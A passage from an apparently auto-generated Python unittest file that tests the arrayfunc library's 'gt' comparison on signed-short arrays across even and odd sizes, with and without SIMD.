self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_h_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_h_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_h_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_h_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_h_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
